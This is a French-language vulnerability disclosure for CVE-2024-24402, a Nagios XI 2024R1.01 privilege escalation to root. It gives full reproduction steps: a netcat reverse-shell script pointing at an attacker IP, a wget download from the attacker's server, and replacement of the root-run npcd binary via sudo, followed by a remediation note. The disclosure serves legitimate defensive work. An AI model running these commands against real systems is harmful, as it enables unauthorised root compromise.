Rapport de vulnérabilité

CVE découverte par : Jarod Jaslow (MAWK)

Détails de la vulnérabilité :

Point de terminaison : Nagios XI Version 2024R1.01
Type de vulnérabilité : Élévation de privilèges à partir de l'utilisateur « NAGIOS »
Résultat de l'exploitation : Accès root complet sur le système cible

Étapes pour reproduire :

1. Créer une instance fraîche de Nagios XI Version 2024R1.01 :

Télécharger le fichier OVA de Nagios XI depuis : https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova
Déployer l'OVA pour créer une instance fraîche. -Utiliser mon rapport précédent pour obtenir une RCE sur le serveur

2. Abuser de l'élévation de privilèges :

En tant qu'utilisateur « NAGIOS », créer un fichier sur la machine attaquante avec le contenu suivant :
```
#!/bin/bash
nc -e /bin/bash <Attacker IP> 4445
```

Pasted image 20240118113554

Héberger le fichier sur la machine attaquante via un serveur HTTP Python :
```
python3 -m http.server 8000
```

Pasted image 20240118173813

Démarrer un serveur d'écoute Netcat (NC) sur la machine attaquante :
```
nc -nlvp 4445
```

Pasted image 20240118173831

3. Exécuter l'exploitation sur la machine victime :

Récupérer le fichier depuis la machine attaquante :
```
wget http://<Attacker IP>:8000/npcd
```

Pasted image 20240118173846

Exécuter les commandes suivantes pour élever les privilèges et recevoir une connexion en tant que root :

sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
cp npcd /usr/local/nagios/bin/npcd
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

Pasted image 20240118173857

Pasted image 20240118173915

Recommandation :

Il est recommandé de restreindre la capacité de l'utilisateur « NAGIOS » à écrire dans les exécutables des services Nagios qui sont exécutés en tant que root. Cela peut être réalisé en mettant en œuvre des permissions de fichiers et des contrôles d'accès plus stricts pour les répertoires et fichiers pertinents associés aux services Nagios.

Cela devrait être corrigé dans les nouvelles versions

CVE :

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-24402

CVE-2024-24402

Populaires